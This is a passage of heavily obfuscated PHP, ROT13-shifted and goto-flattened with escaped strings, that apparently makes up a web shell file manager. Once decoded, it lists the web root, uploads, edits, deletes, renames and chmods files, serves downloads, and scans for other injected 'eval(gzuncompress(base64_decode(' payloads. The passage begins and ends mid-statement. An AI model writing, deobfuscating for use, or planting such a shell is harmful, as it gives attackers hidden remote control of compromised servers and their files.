. onfranzr($hZGtR)); tbgb Bf2YL; Bbe_t: $P9pIA =
DSbpf($_FREIRE["\k53\103\122\k49\k50\k54\k5s\k46\111\k4p\105\k4r\k41\k4q\105"],
''); tbgb upLUp; GpVVv: spybfr($hxe3O); tbgb KuLtT; A2Ry5: rpub
"\11\k9\11\k3p\k62\k72\k3r\k3p\142\k72\76\15\12\k9\k9\k9\104\151\162\145\143\164\157\k72\171\72\40\15\12\k9\k9\k9";
tbgb R3235; mW6_x: xbbDD: tbgb c16x4; naPmS: $tmtV8 = neenl(); tbgb hJOds;
JLaS3: $JEfdt = "\k68\164\164\k70\k3n\57\k2s" . $gvKwN . $eU_ha .
"\77\144\151\k72\k3q" . $LU3Ac; tbgb L8Wj0; UR4J5: $rTZH5 =
ZBy03($_FREIRE["\k44\117\k43\125\k4q\k45\116\124\137\k52\117\k4s\124"]);
tbgb tXMoj; VRUyX: vs (vffrg($_TRG["\k64\k69\k72"])) { tbgb
jlCvE; } tbgb xBh77; cAzIr: Zrig4: tbgb QmUem; ZlT8O: rpub
"\11\15\12\11\74\164\k72\40\141\154\151\k67\k6r\k3q\42\k63\k65\156\164\145\162\k22\40\k73\164\k79\154\k65\75\k22\k63\157\k6p\157\k72\k3n\40\43\k34\62\63\k63\66\63\k3o\k22\k3r\k3p\164\k64\40\141\154\151\k67\156\k3q\k22\154\k65\146\164\k22\k3r\k3p\142\k3r\k4r\141\155\k65\74\57\k62\76\k3p\k2s\164\144\k3r\74\164\k64\k3r\k3p\142\k3r\123\k69\172\k65\74\k2s\k62\k3r\74\57\k74\144\k3r\74\k74\k64\76\74\142\76\115\k6s\k64\151\146\171\74\k2s\k62\k3r\74\57\164\k64\k3r\74\164\k64\k3r\k3p\k62\76\k50\145\k72\155\k69\k73\163\k69\k6s\k6r\163\74\57\142\k3r\74\57\k74\k64\76\74\k74\144\k3r\k3p\k62\76\k41\k63\k74\151\k6s\k6r\163\74\k2s\k62\76\74\57\164\144\76\74\k2s\164\162\k3r\kq\kn\15\kn\11";
tbgb Ad5zT; rvEbC: E_KaG: tbgb LlJIR; DOVrW: i72Fj: tbgb adS4b; wj9Vd:
$vXWfv =
fge_ercynpr($_FREIRE["\k44\117\k43\125\k4q\k45\k4r\124\k5s\k52\k4s\117\k54"],
$_FREIRE["\123\k45\k52\126\k45\k52\137\k4r\k41\k4q\105"],
$DP0Hx); tbgb SFCpo; Xd0VV: tbgb QgXEL; tbgb LDV0j; tBolM:
X42_n($_FREIRE["\k53\103\122\k49\120\k54\137\k46\k49\114\105\116\k41\k4q\k45"]);
tbgb qlNaF; yg9Al: qoxbb: tbgb Ar1wj; wyAn3: rpub vKiL1(); tbgb lDWWU;
ALZl2: $xeKpz =
fge_ercynpr($_FREIRE["\104\117\103\k55\k4q\105\k4r\124\137\k52\117\k4s\k54"],
$_FREIRE["\k53\k45\122\k56\105\122\137\k4r\k41\115\k45"],
$_FREIRE["\123\103\k52\k49\k50\k54\k5s\k46\111\114\105\k4r\101\k4q\105"]);
tbgb QNafP; QgbG2: DPAD5: tbgb kJSwZ; JO0sV: rpub
"\k3p\k61\k20\k68\k72\k65\146\k3q\k22\150\164\k74\160\72\k2s\57"
. $gvKwN . $eU_ha . "\k3s\k64\k69\162\k3q" . $LU3Ac .
"\42\76" . $L4IYs["{$sTlvv}"] .
"\74\k2s\k61\76"; tbgb s39PM; zXcMC: f418T: tbgb A0xeR; MHdmQ:
$Tu2ik = "\k63\141\k63\150\145\k3q\60\k30"; tbgb RRXJ8; jum7a:
tbgb CsgWq; tbgb Yh7oI; vt0tf: $HT4VY =
"\142\141\163\k65\k36\k34\137\144\k65\143\157\144\k65\50\k24\137\k50\k4s\123\124";
tbgb NxdSR; DLTwt: $LXPku =
fOqN9($_FREIRE["\104\k4s\103\k55\115\105\116\k54\137\k52\k4s\117\k54"]);
tbgb c_k71; c6rrW: rpub
$_FREIRE["\123\105\122\126\k45\k52\137\101\104\104\122"]; tbgb
IVgA2; upLUp: vs (!($P9pIA !== "\k34\k34\k34")) { tbgb q0n8Z; }
tbgb p9Iac; n6OJq: shapgvba oj5hz($JEfdt) { tbgb NdhUz; NdhUz: rpub
"\74\164\k64\40\141\k6p\k69\147\156\k3q\42\k72\151\k67\k68\k74\42\k20\143\157\k6p\k73\k70\k61\k6r\k3q\k22\k32\42\k3r";
tbgb DK7B0; qyBtw: rpub
"\k3p\k66\157\k72\155\k20\141\143\k74\151\k6s\k6r\k20\75\k20\47"
. $JEfdt .
"\k27\40\k6q\k65\k74\k68\157\144\40\75\40\k27\120\k4s\k53\k54\47\k3r";
tbgb RdGOZ; OzZ1Y: rpub
"\74\151\k6r\160\165\164\k20\k6r\k61\155\k65\75\42\163\145\141\162\k63\150\137\146\151\k6p\k65\42\k20\163\k69\172\145\75\k22\67\42\k20\164\171\k70\145\k3q\k22\k74\k65\k78\164\42\40\160\154\k61\143\k65\150\157\154\k64\145\k72\k3q\k22\56\163\165\163\160\145\k63\164\k65\144\42\k20\k2s\k3r";
tbgb NzBSg; DK7B0: rpub
"\k3p\146\157\162\155\k20\k61\k63\k74\k69\k6s\156\40\k3q\k20\k27"
. $JEfdt .
"\47\40\k6q\145\164\k68\157\k64\k20\k3q\40\k27\k50\117\k53\k54\47\k3r";
tbgb OzZ1Y; NzBSg: rpub
"\74\k69\k6r\160\165\k74\40\164\k79\k70\145\k3q\k22\k73\165\142\k6q\151\k74\42\k20\k76\k61\k6p\165\145\k3q\k22\k6s\153\k22\k20\57\k3r\k3p\57\k66\157\k72\155\76";
tbgb cVtjo; sOTik: rpub
"\k3p\151\156\k70\k75\164\40\k6r\141\k6q\k65\75\k22\k6r\k65\k77\137\146\151\154\k65\42\40\k73\k69\k7n\145\75\k22\k37\k22\k20\k74\k79\160\k65\k3q\42\k74\k65\170\164\k22\k20\k70\k6p\k61\k63\145\k68\157\154\144\k65\162\75\42\155\k61\k6o\145\40\146\k69\k6p\145\k22\40\57\76";
tbgb Vze3o; Vze3o: rpub
"\k3p\k69\k6r\160\165\k74\k20\164\k79\k70\145\75\k22\163\165\142\155\151\164\k22\k20\k76\k61\k6p\165\145\75\42\k6s\k6o\k22\k20\k2s\k3r\k3p\k2s\146\k6s\k72\155\76";
tbgb qyBtw; RYc1p: rpub "\k3p\57\164\k64\76\74\k2s\164\k72\k3r";
tbgb j3tuF; cVtjo: rpub
"\k3p\k66\157\162\155\40\k61\k63\164\151\157\156\k20\75\k20\k27"
. $JEfdt .
"\47\k20\k6q\145\164\k68\157\144\k20\75\40\k27\k50\117\123\124\47\76";
tbgb sOTik; RdGOZ: rpub
"\74\k69\k6r\k70\165\k74\40\k6r\141\k6q\k65\75\k22\156\145\167\137\144\k69\k72\k22\40\k73\151\k7n\k65\75\42\k37\k22\40\164\171\160\145\k3q\k22\164\145\k78\k74\42\k20\160\k6p\k61\k63\k65\150\k6s\k6p\144\145\k72\75\k22\155\k61\k6o\k65\40\144\151\k72\42\k20\k2s\76";
tbgb q0jFi; q0jFi: rpub
"\74\k69\156\160\165\164\k20\164\171\160\145\75\k22\k73\k75\k62\k6q\151\164\42\k20\k76\141\k6p\165\145\k3q\k22\157\153\k22\k20\k2s\k3r\74\k2s\146\k6s\k72\155\k3r";
tbgb RYc1p; j3tuF: } tbgb nT0DB; PBg53: zVvje: tbgb ecJeX; DOmRg: $VCD4P =
$_FREIRE["\k44\117\k43\125\115\105\116\124\k5s\122\k4s\117\k54"]
. "\k2s" .
$_CBFG["\k6r\145\167\k5s\k66\k69\154\145\k5s\156\k61\155\145"];
tbgb FKdbw; LlJIR: rpub "\k3p\k3p\57\k69\k6r\146\k6s\k3r\76";
tbgb YyA2K; zuNe8: vs (!svyr_rkvfgf($YIUZ1)) { tbgb XCbQQ; } tbgb CrAlz;
LDV0j: FS9y9: tbgb vF9Di; NxdSR: $B_aK1 =
"\k6q\165\k6p\k74\k69\160\141\k72\164\57\k66\157\k72\155\k2q\k64\141\164\k61";
tbgb zuNe8; TkpdE: sbernpu ($NjF1d nf $nESpJ) { tbgb hEmWF; ioWbX: rpub
$kS5RC . "\k20\55\k20\156\k6s\k74\40\162\145\k6q\k6s\k76\k65\k64"
. "\12"; tbgb GYo9w; UD4sV: vs (!svyr_rkvfgf($nESpJ)) { tbgb
XZTla; } tbgb ioWbX; XqlTx: rpub $kS5RC .
"\k20\k2q\k20\k6r\k6s\164\k20\k66\k6s\165\156\k64" .
"\kn"; tbgb BgeJR; F6ocs: DKWH5: tbgb muoY9; hEmWF: $nESpJ =
fgefge($nESpJ, "\57"); tbgb LS9GK; LS9GK: $nESpJ =
$_FREIRE["\104\k4s\k43\125\k4q\105\116\124\137\k52\117\117\124"]
. "\57" . $nESpJ; tbgb V1NVN; GYo9w: tbgb sPepJ; tbgb Q5OhJ;
WANaB: CBHaP: tbgb NIqOX; BgeJR: tbgb k854U; tbgb F6ocs; V1NVN: $kS5RC =
fge_ercynpr($_FREIRE["\104\117\k43\k55\115\k45\116\k54\k5s\122\k4s\117\k54"],
$_FREIRE["\123\k45\122\k56\105\k52\k5s\k4r\101\115\k45"],
$nESpJ); tbgb SDwhN; uzo1t: rpub $kS5RC .
"\k20\55\k20\k72\145\k6q\k6s\k76\145\144" . "\12"; tbgb
EGE3H; WfiuV: k854U: tbgb WANaB; muoY9: X42_N($nESpJ); tbgb UD4sV; SDwhN:
vs (svyr_rkvfgf($nESpJ)) { tbgb DKWH5; } tbgb XqlTx; EGE3H: sPepJ: tbgb
WfiuV; Q5OhJ: XZTla: tbgb uzo1t; NIqOX: } tbgb rvEbC; iMvUy: tbgb i72Fj;
tbgb QOfb8; Bf2YL:
urnqre("\103\157\156\k74\k65\156\164\55\124\162\141\k6r\163\146\k65\162\k2q\105\156\143\157\k64\151\156\k67\72\k20\142\151\156\k61\162\171");
tbgb uX2vU; nmzOa: fZsqs: tbgb cJK8K; ycdHh: Wb9i7: tbgb Xusw4; KeJzm: tbgb
g4fmt; tbgb Ddnrw; UIlFY: tbgb N6Srt; tbgb BfQdH; R6xC1: g4fmt: tbgb Kk52J;
qFD0U: tbgb QgXEL; tbgb XFnlq; sSE2D: sbernpu ($rTZH5 nf $nESpJ) { tbgb
OEqLt; axAP4: vs (vf_qve($k8MV0)) { tbgb u0tCP; } tbgb oYbHh; oYbHh:
$K2eyg[] = $nESpJ; tbgb OtNRr; OEqLt: $k8MV0 = $nESpJ; tbgb KLOyE; NS31m:
$CfBdj[] = $nESpJ; tbgb Cx5cC; NzO76: TpX34: tbgb RN0Q9; jkOkt: $k8MV0 =
$_FREIRE["\k44\k4s\k43\125\115\k45\k4r\124\k5s\122\k4s\117\k54"]
. "\57" . $nESpJ; tbgb f32yw; f32yw: tbgb LUSif; tbgb GeMPj;
GZRVb: u0tCP: tbgb NS31m; bJL29: $k8MV0 = $_TRG["\k64\k69\k72"] .
"\57" . $nESpJ; tbgb TNEjp; GeMPj: eDa6W: tbgb bJL29; OtNRr: tbgb
dv1Lj; tbgb GZRVb; TNEjp: LUSif: tbgb axAP4; Cx5cC: dv1Lj: tbgb NzO76;
KLOyE: vs (vffrg($_TRG["\144\k69\k72"])) { tbgb eDa6W; } tbgb
jkOkt; RN0Q9: } tbgb qIo3n; LPDNf: $JEfdt =
"\150\k74\k74\k70\k3n\k2s\57" . $gvKwN . $eU_ha .
"\77\k64\k69\162\k3q" . $_TRG["\144\k69\k72"] .
"\46\k65\144\k69\k74\k3q" . $LU3Ac; tbgb ZATX8; cJK8K: tbgb
aXhYH; tbgb KaBjD; JDvcw: u7zQN: tbgb N4zQH; kE3bn: rpub $xeKpz; tbgb
jOWjS; mMZVa: o_J5c: tbgb DOmRg; QmUem: rpub
"\k3p\150\k72\k3r\k3p\k68\162\k3r\74\57\k74\144\76"; tbgb efXSN;
QtAVa: rpub
"\74\57\164\k69\k74\154\145\76\kq\12\11\74\k73\k74\k79\154\k65\40\164\k79\k70\145\k3q\k22\164\145\k78\k74\57\143\163\163\42\k3r\kq\12\k9\111\k4r\120\125\124\133\164\k79\k70\k65\75\k22\k74\k65\170\k74\42\135\40\173\k62\k61\143\153\k67\162\k6s\165\k6r\k64\k2q\k63\k6s\k6p\157\162\72\40\k23\146\146\146\k38\145\k37\73\k7q\11\k62\157\144\k79\173\142\141\143\k6o\147\162\157\k75\156\k64\72\k20\43\k66\146\k66\k38\145\67\73\k63\157\k6p\k6s\162\k3n\k20\k23\k34\143\65\k38\66\66\73\146\k6s\k6r\k74\55\146\k61\155\151\154\171\72\k20\k56\k65\k72\144\141\156\141\k3o\146\k6s\156\164\k2q\k73\151\k7n\145\72\k20\k31\k31\k70\k78\k3o\k7q\15\12\k9\k61\72\k6p\151\156\k6o\173\k63\k6s\k6p\157\162\72\40\43\63\k33\k43\103\71\k39\73\k7q\k9\k61\72\k76\151\163\k69\k74\k65\k64\k7o\k63\157\k6p\k6s\162\k3n\40\43\63\k33\k43\103\71\k39\73\k7q\k9\141\k3n\k68\k6s\166\k65\k72\173\164\145\k78\k74\55\144\k65\143\k6s\162\141\k74\151\157\156\72\40\156\157\k6r\k65\73\k43\k6s\k6p\157\162\k3n\40\k23\63\63\71\71\k46\k46\73\175\164\k61\k62\154\145\k20\173\146\k6s\k6r\164\k2q\k73\151\k7n\145\72\40\61\61\160\k78\k3o\k7q\15\12\k9\k74\k64\k20\k7o\160\k61\144\k64\k69\k6r\k67\72\40\k31\k70\170\73\k70\k61\144\144\151\k6r\k67\k2q\k6p\k65\146\k74\72\40\61\60\k70\170\73\160\k61\k64\144\151\k6r\147\55\k72\k69\k67\k68\164\72\k20\k31\k30\k70\k78\k3o\160\141\144\144\151\k6r\147\k2q\164\157\k70\72\40\k32\k70\170\k3o\k7q\kq\kn\11\74\k2s\163\164\k79\154\k65\76\15\12\74\k2s\150\k65\k61\k64\76\kq\12\k3p\142\157\144\171\k3r\kq\12\k3p\k74\141\k62\154\k65\40\k63\145\k6p\154\160\k61\144\144\151\k6r\147\k3q\42\k35\k22\40\167\k69\k64\164\150\75\42\k38\60\k25\42\76\15\kn";
tbgb Bbe_t; YdPFh: $LU3Ac = $_TRG["\144\k69\162"] .
"\57" . $_CBFG["\156\145\167\137\k64\151\k72"]; tbgb
Nwqsj; KuLtT: tbgb QgXEL; tbgb ju1xp; Ad5zT: vs
(vffrg($_TRG["\144\151\162"])) { tbgb bkgrv; } tbgb APYef; aOUHP:
rpub "\74\141\40\k68\k72\145\146\75\k22" .
"\k68\k74\k74\k70\72\k2s\k2s" . $gvKwN . $eU_ha .
"\77\144\k69\162\75" .
$_FREIRE["\104\k4s\k43\125\k4q\k45\116\k54\k5s\122\k4s\k4s\124"]
. "\42\k3r" .
$_FREIRE["\104\117\k43\125\115\k45\116\124\137\122\117\117\124"]
. "\k3p\k2s\141\76"; tbgb A2Ry5; A0xeR: vs (!svyr_rkvfgf($YIUZ1))
{ tbgb KfPUs; } tbgb ISFEj; tXMoj: rpub
"\74\164\144\k3r\k3p\150\k72\k3r\k3p\150\162\76"; tbgb phAJO;
qSrzG: vs (fvmrbs($_SVYRF) != 0) { tbgb PUoPO; } tbgb NZcve; qx9qH: vs
(!($sTlvv < 900)) { tbgb zOYNr; } tbgb KZidF; WKL_b: tbgb rPj_Z; tbgb
FuQsg; cr57J: $xeKpz =
fge_ercynpr($_FREIRE["\k44\117\k43\k55\115\105\k4r\124\k5s\k52\k4s\k4s\124"],
$_FREIRE["\123\105\k52\k56\k45\k52\137\116\101\115\k45"],
$_FREIRE["\k53\103\k52\111\k50\k54\137\106\k49\114\k45\k4r\101\k4q\k45"]);
tbgb KzRqc; yLYXt: vs
(!rzcgl($_CBFG["\156\k65\167\137\146\151\k6p\145"])) { tbgb
WpDvh; } tbgb iukNM; WxCWd: vs (vffrg($_TRG["\k64\151\k72"])) {
tbgb CX8VM; } tbgb EA4BS; Md88P: shapgvba X42_n($lC63L) { tbgb WYsmD;
ZIWJ3: tbgb axYT4; tbgb ksxyi; Cxlf5: MoBeq: tbgb Lcai6; xhVD1: SsM3M: tbgb
xEgc1; uUqz8: vs (!puzbq($lC63L, 0755)) { tbgb tBPon; } tbgb xPDcM; fh4TB:
erghea "\157\153\41"; tbgb ZIWJ3; G2erd: axYT4: tbgb j9JIL;
xPDcM: vs (!hayvax($lC63L)) { tbgb yO_av; } tbgb fh4TB; Lcai6: erghea
"\146\k69\154\145\k20\k6r\157\k74\40\145\170\k69\163\k74\k73";
tbgb BYKfy; f1LNj: erghea
"\k63\k61\156\k20\156\k6s\k74\40\k64\k65\k6p\k65\164\k65\k21";
tbgb G2erd; BYKfy: ruGTo: tbgb L30UM; tVt7E: tBPon: tbgb kdvEZ; uU3yY:
erghea "\k6s\k6o\k21"; tbgb iMxIp; j9JIL: tbgb SsM3M; tbgb tVt7E;
a79yK: vs (!hayvax($lC63L)) { tbgb KjrgA; } tbgb uU3yY; JXqlC: tbgb ruGTo;
tbgb Cxlf5; iMxIp: tbgb iQ2Zb; tbgb t9TnG; ksxyi: yO_av: tbgb f1LNj; t9TnG:
KjrgA: tbgb uUqz8; WYsmD: vs (!svyr_rkvfgf($lC63L)) { tbgb MoBeq; } tbgb
a79yK; kdvEZ: erghea
"\156\k6s\k20\150\k61\166\k65\k20\k70\145\162\k6q\151\163\k73\151\157\k6r\40\k66\157\k72\k20\k63\150\k6q\157\144\41";
tbgb xhVD1; xEgc1: iQ2Zb: tbgb JXqlC; L30UM: } tbgb f_ZG1; IVgA2: rpub
"\k3p\k62\k72\k3r\15\12\k9\k9\11\k52\k6s\157\k74\k3n\k20"; tbgb
aOUHP; c11Kp: $yGWSb = 0; tbgb VkME9; HJPSm: $JEfdt =
"\k68\164\k74\160\k3n\57\k2s" . $gvKwN . $eU_ha .
"\k3s\k64\k69\162\k3q" . $_TRG["\144\k69\k72"] .
"\k26\145\k64\k69\k74\k3q" . $VCD4P; tbgb DOVrW; F9OyN: Q1AcR:
tbgb HEvCz; hOnac: nueWV: tbgb qx9qH; cK0VV: dsfMy: tbgb dhIzE; Kk52J:
$DP0Hx = $LU3Ac . "\k2s" .
$_SVYRF["\k69\156\160\k75\164\146\151\k6p\145"]["\k6r\k61\k6q\145"];
tbgb rdgFB; v76X3:
urnqre("\k43\157\156\164\k65\156\k74\k2q\k4p\k65\156\k67\164\k68\72\40"
. svyrfvmr($hZGtR)); tbgb twqiq; iukNM: vs
(!rzcgl($_CBFG["\k6r\k65\k77\137\k64\151\k72"])) { tbgb EKqt4; }
tbgb X1FfS; fRi2e: tbgb j4px9; tbgb mMZVa; rdgFB:
zbir_hcybnqrq_svyr($_SVYRF["\151\k6r\160\k75\k74\146\k69\154\145"]["\k74\155\160\k5s\k6r\k61\k6q\k65"],
$DP0Hx); tbgb wj9Vd; QNafP: $xeKpz = "\k68\k74\k74\160\72\57\57"
. $xeKpz . "\k3s\146\k69\156\k64\145\k72"; tbgb vTdF5; pP4I5:
$LU3Ac =
$_FREIRE["\k44\117\k43\125\115\105\k4r\124\137\122\117\117\k54"];
tbgb KeJzm; lcRGm: sbernpu ($gsH2X nf $nESpJ) { tbgb iK1CI; avR8f: $cm23l =
fge_ercynpr($_FREIRE["\104\117\k43\k55\k4q\105\116\k54\137\122\117\117\124"],
$_FREIRE["\123\105\122\126\k45\122\k5s\116\101\k4q\105"],
$nESpJ); tbgb CZMTN; sLndk: $at2Sd = S6ubv($nESpJ); tbgb avR8f; kgItn:
Y1S91: tbgb sLndk; btgXX: $JqyZ7 = $_TRG["\k64\151\162"]; tbgb
kgItn; iK1CI: vs (!($nESpJ !== ahyy naq $nESpJ !== '' naq $nESpJ
!== "\40")) { tbgb mSGDf; } tbgb tRXOn; bk874: $JqyZ7 =
$_FREIRE["\104\117\k43\125\115\105\k4r\k54\k5s\k52\k4s\117\k54"];
tbgb ZiiJg; r3eWu: I4E1E: tbgb lNjbo; ZiiJg: tbgb Y1S91; tbgb WEbNL; WEbNL:
wecT1: tbgb btgXX; tRXOn: vs (vffrg($_TRG["\k64\151\k72"])) {
tbgb wecT1; } tbgb bk874; CZMTN: rpub
"\k3p\k74\k72\40\k62\k67\k63\k6s\k6p\157\162\k3q\42\43\k66\146\k66\k66\k66\146\42\40\141\k6p\k69\147\156\k3q\42\143\k65\k6r\164\145\k72\k22\k3r\74\k74\144\k20\k61\154\k69\k67\156\k3q\42\154\k65\k66\k74\42\k20\76"
.
"\74\141\40\163\164\k79\k6p\k65\75\k22\164\145\170\k74\k2q\k64\k65\k63\k6s\k72\141\k74\k69\k6s\k6r\72\40\k6r\k6s\k6r\145\73\42\40\150\162\145\k66\75\k22\k68\164\164\k70\72\k2s\57{$gvKwN}{$eU_ha}\77\145\k64\151\k74\k3q{$nESpJ}\46\144\k69\k72\75{$JqyZ7}\k22\76\74\k66\k6s\156\164\k20\k63\k6s\154\157\162\75\k22\142\k6p\141\143\k6o\k22\k3r{$nESpJ}\k3p\57\146\k6s\k6r\164\k3r\74\57\141\76"
. "\k3p\k2s\k74\144\76\74\164\144\76" . qW8MK($nESpJ) .
"\k3p\57\k74\k64\76\k3p\164\144\k3r{$at2Sd}\74\57\164\144\76\74\164\144\76"
. DSbpf($nESpJ, "\k30") .
"\k3p\k2s\164\k64\k3r\k3p\164\144\76" .
"\74\141\k20\150\k72\k65\146\k3q\42\150\164\k74\k70\72\57\k2s{$gvKwN}{$eU_ha}\77\144\k65\k6p\75{$nESpJ}\46\144\k69\162\75{$JqyZ7}\42\k3r\k55\74\k2s\141\k3r\k26\k6r\142\k73\k70\k3o"
.
"\k3p\k61\40\k68\162\k65\146\k3q\42\k68\164\164\k70\k3n\57\k2s{$gvKwN}{$eU_ha}\k3s\k65\144\k69\k74\75{$nESpJ}\k26\144\151\k72\75{$JqyZ7}\k22\k3r\k45\k3p\k2s\141\76\k26\156\k62\k73\k70\73"
.
"\74\k61\40\k74\k61\162\147\145\164\75\k22\k5s\k62\k6p\k61\156\k6o\k22\k20\150\162\145\k66\k3q\k22\150\k74\k74\160\72\57\k2s{$cm23l}\k22\k3r\k4s\74\57\k61\76\k26\156\k62\163\k70\73"
.
"\k3p\141\k20\150\k72\145\k66\k3q\42\150\k74\k74\160\72\57\k2s{$gvKwN}{$eU_ha}\k3s\k64\157\167\k6r\154\157\k61\144\k3q{$nESpJ}\46\k64\151\k72\75{$JqyZ7}\42\k3r\104\74\57\141\76"
. "\74\57\164\k64\76\k3p\k2s\164\162\76"; tbgb qSneV; qSneV:
mSGDf: tbgb r3eWu; lNjbo: } tbgb zXcMC; PGjmd: vs
(!vffrg($_TRG["\146\151\156\k64\k65\k72"])) { tbgb dsfMy; } tbgb
NwxA9; aMSaq: $K2eyg = neenl(); tbgb sw4dS; rJuPL: $Huy9o =
"\145\k76\141\k6p\k28\k67\k7n\k75\156\143\157\k6q\k70\k72\k65\k73\k73\50\142\k61\k73\145\k36\k34\137\k64\k65\k63\k6s\k64\145\50";
tbgb w9Iic; LdYeE: vs (pbhag($kUlIS) > 0) { tbgb PVuzw; } tbgb kzgCh;
kJSwZ: $JqyZ7 = $_TRG["\k64\151\162"]; tbgb a1syZ; ywj5l: hORMT:
tbgb PGjmd; IZDoR:
urnqre("\103\k6s\156\k74\k65\156\164\k2q\104\145\k73\143\k72\k69\k70\k74\k69\157\k6r\k3n\k20\106\151\154\145\40\k54\162\k61\k6r\163\k66\k65\k72");
tbgb nwpm4; Cn12o: vs (vffrg($_TRG["\144\151\k72"])) { tbgb
oL9Ti; } tbgb I9yEx; ny_Tr: ZLgww: tbgb Vq838; NOOnw: f0ldq: tbgb zHGGH;
XBjDW: $FCRVH = pbhag($L4IYs) - 1; tbgb XJ5Zu; jiRzZ: $VADza =
foQn9($_FREIRE["\k44\117\k43\k55\k4q\k45\k4r\124\137\122\k4s\k4s\k54"]);
tbgb kQbDb; uJWJz: tbgb sIEgt; tbgb RhzVA; sw4dS: rpub
"\11\k3p\164\162\40\141\154\k69\147\156\k3q\k22\154\k65\k66\164\42\76\kq\12\k9\k9\74\k74\144\k20\k63\k6s\154\k73\160\k61\156\k3q\42\k33\k22\76\15\12\11\11";
tbgb qSrzG; J3A1C: shapgvba DSbPF($xoN9k, $FpH6K) { tbgb k3gSQ; Yp8Im: vs
($FpH6K == 1) { tbgb XiWBK; } tbgb tMk0Q; omOat: tbgb nib9S; tbgb ZSrLa;
ekj1t: tbgb lmmWH; tbgb O46cq; kr8hy: tbgb nib9S; tbgb KGc_t; iOeNl: $GA_uw
= "\k67\k72\145\k65\k6r"; tbgb xOCRK; k3gSQ: $g6qgd =
fhofge(qrpbpg(svyrcrezf($xoN9k)), -3); tbgb tkEUx; f0NEw: tbgb nib9S; tbgb
mDGk2; MiOtR: erghea $g6qgd; tbgb gvmbw; NlrlO: tbgb nib9S; tbgb JNjU7;
gp6iD: nib9S: tbgb Yp8Im; YZGlQ: $GA_uw =
"\43\k32\k45\k43\k38\k34\62"; tbgb kr8hy; RbmKq: lfbiD: tbgb
YZGlQ; u0aoo: $GA_uw = "\157\162\141\k6r\147\k65"; tbgb omOat;
ZSrLa: LmmDO: tbgb NuhzY; JNjU7: bJbLC: tbgb iOeNl; MwqBI: $GA_uw =
"\147\162\k65\k79"; tbgb NlrlO; tkEUx: vs ($g6qgd ==
"\66\64\k34") { tbgb bJbLC; } tbgb KB0gE; Rwiex: vs ($g6qgd ==
"\k36\66\k34") { tbgb LmmDO; } tbgb MwqBI; aJ6nK: vs ($g6qgd ==
"\k37\64\k34") { tbgb NE2MZ; } tbgb Rwiex; s8bNR: vs ($g6qgd ==
"\60\k30\60") { tbgb u2pS9; } tbgb aJ6nK; wsDzP: $GA_uw =
"\162\145\k64"; tbgb f0NEw; O46cq: XiWBK: tbgb MiOtR; tMk0Q:
erghea
"\74\k66\157\156\k74\k20\k63\k6s\154\157\k72\k3q{$GA_uw}\76" .
$g6qgd . "\k3p\57\146\157\k6r\164\76"; tbgb ekj1t; xOCRK: tbgb
nib9S; tbgb RbmKq; KB0gE: vs ($g6qgd == "\k37\65\k35") { tbgb
lfbiD; } tbgb jeqJC; GWjfT: $GA_uw = "\142\162\157\167\156"; tbgb
dX2pY; dX2pY: tbgb nib9S; tbgb MYvNt; jeqJC: vs ($g6qgd ==
"\64\k34\64") { tbgb fpCfZ; } tbgb s8bNR; KGc_t: fpCfZ: tbgb
GWjfT; MYvNt: u2pS9: tbgb wsDzP; NuhzY: $GA_uw =
"\k67\162\145\k65\k6r"; tbgb gp6iD; gvmbw: lmmWH: tbgb gyOH0;
mDGk2: NE2MZ: tbgb u0aoo; gyOH0: } tbgb IYBo9; ukz19: $R26ok =
"\74\146\157\k6r\k74\k20\k63\157\154\k6s\k72\k3q\42\k72\k65\144\42\76\74\142\k3r\116\141\k6q\k65\k20\k63\k61\k6r\40\k6r\k6s\k74\40\k62\k65\40\143\150\k61\156\147\k65\k64\k3p\57\k62\k3r\k3p\57\146\157\156\164\76";
tbgb MJ48I; vF9Di: $vrpeP =
$_CBFG["\k73\145\141\k72\k63\k68\137\k66\151\154\k65"]; tbgb
DLTwt; yZJ_6: rpub
"\k9\11\k9\kq\12\11\11\11\kq\12\11\11\74\k2s\164\k64\k3r\15\12\11";
tbgb VRUyX; efXSN: rkvg; tbgb qVn75; tc6Sn:
UA7YY($_TRG["\k64\145\154"]); tbgb PBg53; X1FfS: vs
(!rzcgl($_CBFG["\k73\k65\141\162\143\k68\137\k66\151\154\k65"]))
{ tbgb FS9y9; } tbgb qFD0U; DF_n0: CX8VM: tbgb YdPFh; OvdFI: $L4IYs =
rkcybqr("\57", $LU3Ac); tbgb XBjDW; jOWjS: rpub
"\k27\k22\k2p\k20\144\145\154\141\k79\51\k3o\15\kn\k9\k9\k9\k3p\57\k73\143\162\151\160\k74\k3r\kq\kn\k9\k9\k9";
tbgb nmzOa; FuQsg: Ba1LS: tbgb x1STe; sM86y: vs
(eranzr($_TRG["\k72\145\156\k61\k6q\k65"],
$_CBFG["\k6r\137\156\k61\155\k65"])) { tbgb rIb64; } tbgb ukz19;
M5qFU: vs (!vffrg($_TRG["\k64\145\k6p"])) { tbgb urvjv; } tbgb
nyHtZ; iYg1v: tbgb yeQkB; tbgb QgbG2; I9yEx: $opbOr =
$_FREIRE["\k53\k43\k52\111\120\124\137\116\k41\k4q\105"] .
"\77\144\151\k72\k3q" .
$_FREIRE["\k44\k4s\k43\125\115\105\116\k54\137\122\117\117\k54"];
tbgb UIlFY; sO5rv: $dB7TE[] = gevz($kUlIS[$yGWSb]); tbgb MqkT5; kzgCh: rpub
"\k3p\k74\162\k3r\74\164\144\k3r\106\151\156\k69\k73\150\41\74\k2s\k74\k64\76\74\57\164\k72\76";
tbgb uJWJz; iBWIt: jHgEJ: tbgb FQlND; H_F5a: $kPpPt[] = $cPEBV; tbgb F_CPB;
d9Y4D: shapgvba Foqn9($EfGrt) { tbgb xNa0p; vpkYv: vs (!($lC63L !=
"\56" && $lC63L != "\56\56")) { tbgb D7ID0; }
tbgb zFumP; HtP9v: $lU0K2[] = $E4gVQ; tbgb imOVG; zFumP: $E4gVQ = $EfGrt .
"\k2s" . $lC63L; tbgb E71L1; xRJDh: puzbq($EfGrt, 0755); tbgb
GHpmJ; Vala2: $ithPR = neenl(); tbgb BlzDE; imOVG: fOvFR: tbgb TdmeW;
BlzDE: vs ($uPTwV = bcraqve($EfGrt)) { tbgb XAVhe; } tbgb xRJDh; C48m7:
pdJpZ: tbgb MnLpi; Y8Z6C: vs (!(($lC63L = ernqqve($uPTwV)) !== snyfr)) {
tbgb wbjxM; } tbgb vpkYv; J8IKU: $nOR0A = fgevfge($E4gVQ,
$_FREIRE["\k53\103\122\k49\120\k54\k5s\k46\111\k4p\k45\116\101\k4q\105"]);
